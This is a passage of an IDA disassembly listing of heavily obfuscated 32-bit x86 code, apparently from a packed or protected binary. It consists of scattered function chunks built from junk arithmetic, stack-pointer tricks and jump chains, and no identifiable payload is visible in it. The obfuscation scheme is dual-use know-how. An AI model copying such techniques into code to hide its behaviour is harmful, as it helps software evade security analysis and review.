loc_5ADA42:				; CODE XREF: sub_59F1C3+4ECEj
		mov	[esp+0], eax
		push	esp
		pop	eax
		push	edi
		sub	esp, 4
		jmp	loc_5A0FB0
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5ADA50:				; CODE XREF: sub_5AA810-1543j
					; sub_59EE3E+CC94j
		or	edi, 217C2CA4h
		add	edi, 3677F9B5h
		add	ebx, edi
		pop	edi
		jmp	loc_5A6AD1
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0B5D


loc_5ADA64:				; CODE XREF: sub_5A0B5D-6779j
					; sub_5ADD33-3DE5j
		add	eax, 5E224A67h
		sub	eax, edi
		sub	eax, 5E224A67h
		pop	edi
		push	eax
		pop	ebp
		jmp	loc_59BD0C
; END OF FUNCTION CHUNK	FOR sub_5A0B5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5ADA78:				; CODE XREF: sub_5A6BBC-1D6Dj
		push	esp
		push	[esp+8+var_8]
		pop	edi
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 64310B0Bh
		jmp	loc_59A97B
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5ADA8B:				; CODE XREF: sub_59C979+115F9j
		mov	bh, dl
		mov	cl, bh
		pop	ebx
		pop	edx
		jmp	loc_5A59EF
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		jmp	loc_5AFAE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5AF2


loc_5ADAB0:				; CODE XREF: sub_5A5AF2-4975j
		shl	ah, 3
		jmp	loc_5A155F
; END OF FUNCTION CHUNK	FOR sub_5A5AF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5ADAB8:				; CODE XREF: sub_59FC02+B598j
		pop	ebp
		or	ecx, 4AC63CBAh
		inc	ecx
		xor	ecx, 0E844B21Bh
		jmp	loc_5A88AB
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5ADACB:				; CODE XREF: sub_5A5EFF+51D1j
		add	edi, ebp
		pop	ebp
		sub	ebx, 16DA0B61h
		add	ebx, edi
		add	ebx, 16DA0B61h
		mov	edi, [esp+4+var_4]
		push	eax
		mov	eax, esp
		jmp	loc_59C607
; END OF FUNCTION CHUNK	FOR sub_5A5EFF

; =============== S U B	R O U T	I N E =======================================



sub_5ADAE7	proc near		; DATA XREF: sdfs____:00598F4Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A4B1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A9FF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D3E2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8B47 SIZE 00000019 BYTES

		push	dword ptr [esp+0]
		jmp	loc_59D3E2
sub_5ADAE7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5ADAEF:				; CODE XREF: sub_5A6BBC+94CEj
		xchg	edx, [esp+4+var_4]
		pop	esp
		sub	edx, 3F822FADh
		jmp	loc_5A36C9
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ADAFE:				; CODE XREF: sub_5992DA+C7EEj
		sub	edx, 4927716Dh
		add	edx, eax
		add	edx, 4927716Dh
		sub	edx, 6937643Eh
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE72D


loc_5ADB17:				; CODE XREF: sub_5AE72D+108Fj
		pop	eax
		sub	edi, edx
		pop	edx
		jmp	loc_59919D
; END OF FUNCTION CHUNK	FOR sub_5AE72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ADB20:				; CODE XREF: sub_5AA2D1-3109j
		pop	ax
		push	eax
		jmp	loc_59AAA5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5ADB28:				; CODE XREF: sub_5B03B3-E722j
		add	edx, 4
		push	1C5Eh
		mov	[esp+4+var_4], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5AD681
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE0D


loc_5ADB49:				; CODE XREF: sub_5AE29C-D0E5j
					; sub_5ABE0D+46j
		xor	esi, 2B156C3Dh
		mov	eax, esi
		pop	esi
		dec	eax
		add	eax, 3257141Eh
		xor	edx, eax
		pop	eax
		jmp	loc_5AB367
; END OF FUNCTION CHUNK	FOR sub_5ABE0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF5FF


loc_5ADB60:				; CODE XREF: sub_5AF5FF+9j
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_5A356B
; END OF FUNCTION CHUNK	FOR sub_5AF5FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ADB6D:				; CODE XREF: sub_5AA2D1-E79Cj
		mov	esi, 4
		add	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		push	esp
		mov	eax, [esp+0]
		add	esp, 4
		add	eax, 4
		push	1BF8h
		mov	[esp+0], edx
		mov	edx, 46EB2230h
		shr	edx, 7
		dec	edx
		not	edx
		shl	edx, 3
		jmp	loc_5A4A8C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5ADBA5	proc near		; CODE XREF: sub_59C979:loc_59DFA6j

var_6		= dword	ptr -6
var_2		= word ptr -2

; FUNCTION CHUNK AT 0059A27A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A38A6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A834F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AB41B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC71D SIZE 00000005 BYTES

		push	bx
		mov	bh, 96h
		sub	cl, bh
		mov	bx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xor	edi, [esp+0]
		xor	[esp+0], edi
		jmp	loc_59A27A
sub_5ADBA5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ADBC6:				; CODE XREF: sub_5AA2D1-8917j
					; sub_5A3992+7C65j
		jp	loc_5A56BC
		xor	ebx, 3E784777h
		mov	edi, ebx
		mov	bh, 0E4h
		mov	edi, eax


loc_5ADBD8:				; CODE XREF: sub_59AD7B+2739j
		push	edx
		mov	edx, 7C5633EFh
		or	edx, 2C5A34DAh
		neg	edx
		sub	edx, 70513B90h
		add	edx, 1
		dec	edx
		sub	edx, 13508C6Dh
		jmp	loc_5A0A49
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5ADBFB:				; CODE XREF: sdfs____:005ACBE4j
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	dword ptr [esp+4], 73C468C7h
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 73C468C7h
		pop	ecx
		jmp	loc_5A7F99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A577C


loc_5ADC1E:				; CODE XREF: sub_5A577C-11EAj
		mov	edx, 4
		jmp	loc_5A1CBC
; END OF FUNCTION CHUNK	FOR sub_5A577C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_5ADC28:				; CODE XREF: sub_59ED98+FEB8j
		pop	edx
		push	574Eh
		mov	[esp-4+arg_0], edx
		mov	dl, 3Dh
		or	dl, 68h
		push	eax
		mov	ah, 63h
		shl	ah, 5
		or	ah, 0DCh
		or	ah, 0ACh
		add	ah, 28h
		add	dl, 0Ch
		sub	dl, ah
		sub	dl, 0Ch
		mov	eax, [esp+0]
		add	esp, 4
		shr	dl, 8
		push	small 7E12h
		mov	[esp+0], cx
		push	ax
		mov	al, 91h
		jmp	sub_5AC18D
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ADC6A:				; CODE XREF: sub_5AA2D1-A3A1j
		shl	edx, 4
		xor	edx, 422E74C4h
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, 1D4A3DF7h
		shl	esi, 5
		shl	esi, 5
		sub	esi, 28F7DBFCh
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		xor	[esp+4], edi
		pop	edi
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 15BB1265h
		jmp	loc_5AC38A
; ---------------------------------------------------------------------------


loc_5ADCA5:				; CODE XREF: sub_5AA2D1-77ECj
		mov	eax, 40A22DF9h
		inc	eax
		jmp	loc_5A5CF7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5ADCB0:				; CODE XREF: sub_59D6B8+BD0Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		and	eax, 0DB420B9h
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 1DFA542Ch
		xor	eax, esi
		pop	esi
		add	ecx, eax
		mov	eax, [esp+4+var_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A51B5
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0879


loc_5ADCE8:				; CODE XREF: sub_5A0879+Dj
		pop	ebx
		push	eax
		push	349618FDh
		pop	eax
		and	eax, 32FD2A67h
		push	ebp
		mov	ebp, 453D67ACh
		jmp	loc_59C3EC
; END OF FUNCTION CHUNK	FOR sub_5A0879
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5ADD00:				; CODE XREF: sub_5A118F+A25Cj
		sub	eax, 0C7C58382h
		push	eax
		pop	ebx
		mov	eax, [esp+4+var_4]
		add	esp, 4
		inc	ebx
		jmp	loc_5A0691
; END OF FUNCTION CHUNK	FOR sub_5A118F

; =============== S U B	R O U T	I N E =======================================



sub_5ADD13	proc near		; CODE XREF: sub_5A3CF9+C4ABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005993E9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059B0C2 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0059BC36 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A1606 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A2C7E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AF25C SIZE 0000000F BYTES

		push	ebp
		mov	ebp, 414B610Eh
		and	eax, ebp
		jmp	loc_5AF25C
sub_5ADD13	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ADD20:				; CODE XREF: sub_5AA2D1-B63j
		mov	ecx, esp
		push	edx
		mov	edx, 55925040h
		push	edi
		mov	edi, 6500162Ah
		jmp	loc_5AABAE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5ADD33	proc near		; CODE XREF: sub_5A4B1E-284j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599597 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A4D9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059AFD3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B2A6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059C646 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C8AF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059CDBB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059E4BB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059F800 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A055D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1493 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A14B6 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A18EC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1F7A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A268F SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A3863 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3975 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A4318 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A46D4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A6397 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6B51 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A710A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A7F18 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A8AB8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A8B60 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8DFF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A9DE0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A9F47 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005AA94B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AAFAF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AB950 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AC61B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AD373 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AE4C0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AED2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AEDBC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AF28A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AF8F5 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_5AAFAF
sub_5ADD33	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_5ADD41:				; CODE XREF: sub_5A10E3+A5C4j
		add	edx, ebx
		mov	eax, [edx]
		jmp	loc_5A132E
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ADD4A:				; CODE XREF: sub_5AA2D1-99B2j
		add	esp, 4
		sub	esi, 4
		push	esi
		push	[esp+0Ch+var_8]
		pop	esi
		pop	[esp+0Ch+var_C]
		pop	esp
		mov	[esp+4+var_4], edi
		mov	edi, 4
		add	ebp, edi
		push	[esp+4+var_4]
		pop	edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+0Ch+var_8]
		pop	eax
		jmp	loc_5A84C1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5ADD81	proc near		; CODE XREF: sub_59EE3E+CEE6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D12A SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		push	small 56DCh
		pop	bp
		not	bp
		and	bp, 46D6h
		push	edi
		mov	di, 72BDh
		sub	di, 7EBBh
		jmp	loc_59D12A
sub_5ADD81	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5ADDAD:				; CODE XREF: sub_59D6B8+98BCj
		mov	eax, 5EAB24E3h
		inc	eax
		jmp	loc_59ADF1
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ADDB8:				; CODE XREF: sub_5992DA+D3F7j
		push	esp
		mov	ecx, [esp+36h+var_38+2]
		jmp	loc_5B01E0
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5ADDC1:				; CODE XREF: sub_5ABEF6-3998j
		pop	ebx
		push	edx
		jmp	sub_5A3D5B
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3CF9


loc_5ADDC8:				; CODE XREF: sub_5A3CF9-5F15j
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		jmp	loc_59D3B7
; END OF FUNCTION CHUNK	FOR sub_5A3CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_5ADDD3:				; CODE XREF: sub_5A10E3-3CB0j
		push	edx
		push	esi
		jmp	loc_5AD4A7
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ADDDA:				; CODE XREF: sub_5992DA+103D1j
		pop	ecx
		push	[esp-8+arg_4]
		pop	ecx
		jmp	sub_5A63DC
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5ADDE4:				; CODE XREF: sub_5AD795-11C50j
		add	eax, 0A467BAFh
		mov	edx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		sub	ebx, edx
		pop	edx
		push	14A4h
		mov	[esp+0], ebp
		push	eax
		jmp	loc_5A2B7B
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2DF


loc_5ADE02:				; CODE XREF: sub_5AF2DF-3D8j
		sub	esi, 70511800h
		push	ebx
		mov	ebx, 0E06291D7h
		sub	esi, ebx
		pop	ebx
		sub	edi, esi
		pop	esi
		add	edi, eax
		add	edi, 256A63ECh
		pop	eax
		add	edi, 2
		jmp	loc_59D0C7
; END OF FUNCTION CHUNK	FOR sub_5AF2DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5ADE28:				; CODE XREF: sub_5A118F+BAE1j
		xor	ah, 69h
		or	ah, 0Fh
		jnb	loc_5A151C
		shl	ah, 2
		jns	loc_59B122
		mov	dh, 0B3h
; END OF FUNCTION CHUNK	FOR sub_5A118F
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5ADE3F:				; CODE XREF: sub_5A6BBC-7FF7j
		pop	ebx
		jmp	loc_5A0F09
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5ADE45:				; CODE XREF: sub_5B01F7-E65j
		dec	ebx
		add	ebx, 0D8958E49h
		add	ebp, ebx
		pop	ebx
		add	ebp, 9EB6AFCFh
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		jmp	loc_5A61AF
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------


loc_5ADE63:				; CODE XREF: sdfs____:0059AC4Aj
		add	edi, offset word_621B02
		mov	ebp, edi
		pop	edi
		add	edx, ebp
		pop	ebp
		jmp	loc_599C3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5ADE74:				; CODE XREF: sub_59CBE1+F8B1j
		pop	edi
		push	esi
		mov	esi, 17CB7D02h
		xor	esi, 589245B6h
		xor	esi, 73427A2Fh
		or	esi, 7CF34378h
		jmp	loc_5A6192
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5ADE92:				; CODE XREF: sub_59A9E9+5B5Cj
		shr	ebp, 1
		sub	ebp, 0A2E25E88h
		mov	edi, ebp
		pop	ebp
		dec	edi
		jmp	loc_59B17B
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ADEA3:				; CODE XREF: sub_5992DA-84j
		mov	ebx, [esp+0]
		add	esp, 4
		sub	dh, 2Ch
		or	ch, dh
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ebx
		mov	bl, 0B5h
		jmp	loc_5A9235
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_5ADECF:				; CODE XREF: sub_5A21A4-71D6j
		add	eax, ecx
		sub	eax, 8C87450h
		pop	ecx
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		push	[esp-4+arg_4]
		jmp	loc_5A3B2A
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5ADEE6:				; CODE XREF: sub_59D6B8+B178j
		mov	ecx, 3F547326h
		jmp	loc_59EAA4
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5ADEF0:				; CODE XREF: sub_599D0E+98Dj
		push	794Bh
		jmp	loc_59D8F5
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5ADEFA:				; CODE XREF: sub_59CBE1+2DFCj
		sub	edx, 7BA86717h
		neg	edx
		inc	edx
		jmp	loc_59E1D3
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ADF08:				; CODE XREF: sub_5992DA+45Aj
		push	ecx
		mov	ecx, 73701D86h
		shl	ecx, 5
		sub	ecx, 0B80442C4h
		jmp	loc_5AB948
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5ADF1C:				; CODE XREF: sub_5A2E28-5A18j
		sub	ecx, 30D947BBh
		jb	loc_59AC64
		xor	ecx, 4B02B769h
		mov	edx, ecx
		pop	ecx
		not	edx
		sub	edx, 0A2AC9321h
		add	esi, edx
		pop	edx
		jmp	sub_5AD6D4
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599E21


loc_5ADF41:				; CODE XREF: sub_599E21+163BAj
		add	ebx, 0AD8FE131h
		add	ecx, ebx
		pop	ebx
		add	ecx, 532718A0h
		push	edi
		mov	edi, 7D5B685Fh
		sub	ecx, edi
		pop	edi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_59BA03
; END OF FUNCTION CHUNK	FOR sub_599E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5ADF64:				; CODE XREF: sub_59C979+9DDEj
		mov	[esp+0], edx
		mov	dl, bh
		sub	esp, 4
		mov	[esp+4+var_6+2], ebx
		jmp	loc_5ADA8B
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ADF77:				; CODE XREF: sub_5992DA+10Aj
		add	ebx, ebp
		pop	ebp
		jmp	loc_59BF55
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ADF7F:				; CODE XREF: sub_5AA2D1+2708j
		mov	al, ch
		not	al
		jmp	loc_59A06D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5ADF88:				; CODE XREF: sub_5AC18D-B704j
		add	bl, dl
		add	bl, 73h
		push	dword ptr [esp+0]
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5A734D
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D9AA


loc_5ADFA1:				; CODE XREF: sub_59D9AA-898j
		mov	ebp, 4E141836h
		shr	ebp, 7
		neg	ebp
		push	ecx
		mov	ecx, 48119A7h
		add	ecx, 215FF534h
		and	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 30A12CE2h
		neg	edx
		shl	edx, 1
		sub	edx, 0A462DDACh
		sub	ebp, edx
		pop	edx
		sub	ebx, 36482E80h
		sub	ebx, ebp
		add	ebx, 36482E80h
		jmp	loc_5AA3E4
; END OF FUNCTION CHUNK	FOR sub_59D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5ADFE0:				; CODE XREF: sub_599A61+97A6j
		add	ebx, 0D8F55A4h
		sub	ebx, 1A1131EAh
		and	ebx, 20FF7426h
		shr	ebx, 5
		add	ebx, 15A58B71h
		add	eax, ebx
		pop	ebx
		xor	esi, eax
		pop	eax
		add	edx, 11036B18h
		add	edx, esi
		sub	edx, 11036B18h
		mov	esi, [esp+0]
		add	esp, 4
		add	edx, ecx
		sub	edx, 2A1A64B1h
		mov	ecx, [esp-8+arg_0]
		add	esp, 4
		xchg	edx, [esp-0Ch+arg_4]
		pop	esp
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AE02F:				; CODE XREF: sub_5992DA+921j
		push	2435h
		mov	[esp+18h+var_18], ebx
		mov	ebx, 0FD9F1647h
		add	esi, 37526610h
		add	esi, ebx
		push	edi
		jmp	loc_5AF637
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE04A:				; CODE XREF: sub_5AA2D1-AB9Cj
		add	esp, 4
		push	61AFh
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		pop	esp
		or	eax, eax
		jz	loc_5A384C
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 51CF2376h
		neg	ecx
		sub	ecx, 0AE30DC86h
		add	ebp, 117B3D7Ah
		sub	ebp, ecx
		sub	ebp, 117B3D7Ah
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_5AA96F
; ---------------------------------------------------------------------------


loc_5AE0B4:				; CODE XREF: sub_5AA52F-79B9j
					; sub_5AA2D1+5EB4j
		mov	bh, 54h
		mov	ch, 46h
		add	ch, bh
		pop	ebx
		shl	ch, 5
		push	6CCBh
		mov	[esp+4+var_4], ecx
		not	byte ptr [esp+4+var_4+1]
		pop	ecx
		xor	ch, 88h
		sub	al, ch
		pop	ecx
		push	edx
		push	ebx
		push	edx
		mov	dl, 0ADh
		mov	bh, 5Fh
		jmp	loc_5A2AB2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AE0DD:				; CODE XREF: sub_59C979+B584j
		mov	eax, 2540247Eh
		add	edi, 4A7D706Dh
		add	edi, eax
		sub	edi, 4A7D706Dh
		mov	eax, dword ptr [esp+2+var_2]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_5A44B0
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AE103:				; CODE XREF: sub_5AA2D1-D271j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-0Ch+arg_8]
		pop	esp
		or	ch, 28h
		and	ch, 7Fh
		push	ax
		jmp	loc_59AAB1
; ---------------------------------------------------------------------------


loc_5AE120:				; CODE XREF: sub_5AA2D1+868j
		push	[esp-14h+arg_10]
		pop	eax
		add	esp, 4
		jmp	loc_5A232F
; ---------------------------------------------------------------------------


loc_5AE12C:				; CODE XREF: sub_5AA2D1+42C5j
		pop	edx
		push	71F8h
